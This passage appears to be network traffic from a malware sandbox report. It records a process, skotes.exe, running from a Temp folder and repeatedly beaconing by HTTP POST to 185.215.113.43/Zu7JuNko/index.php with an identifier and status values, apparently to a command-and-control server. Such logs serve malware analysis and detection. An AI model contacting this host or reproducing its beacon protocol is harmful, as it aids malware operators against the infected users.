Nov 24, 2024 02:16:06.646665096 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50156	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:08.287646055 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:16:09.670886993 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50159	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:11.557065010 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:16:12.979680061 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50169	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:14.693010092 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:16:16.050952911 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50173	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:17.788729906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:16:19.163273096 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50176	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:20.802320004 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:16:22.142132998 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50188	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:24.089190006 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:16:25.518110037 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50200	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:27.150114059 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:16:28.534415960 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50214	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:30.273181915 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:16:31.658507109 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50217	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:33.292105913 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:16:34.627410889 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50219	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:36.368268967 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:16:37.780615091 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50221	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:39.412247896 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:16:40.839447021 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50222	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:42.589518070 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:16:43.971115112 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50223	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:45.598388910 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:16:47.066622019 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50224	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:48.812381983 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:16:50.210134983 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50228	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:51.848545074 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:16:53.252399921 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50233	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:54.999717951 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:16:56.445372105 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50237	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:16:58.087403059 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:16:59.444529057 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:16:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50241	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:01.193794966 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:17:02.534286976 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50243	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:04.178162098 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:17:05.550633907 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50244	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:07.295288086 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:17:08.635245085 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50245	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:10.261537075 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:17:11.653078079 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50247	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:14.924462080 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:17:16.364315987 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:17:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50250	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:17:18.104471922 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
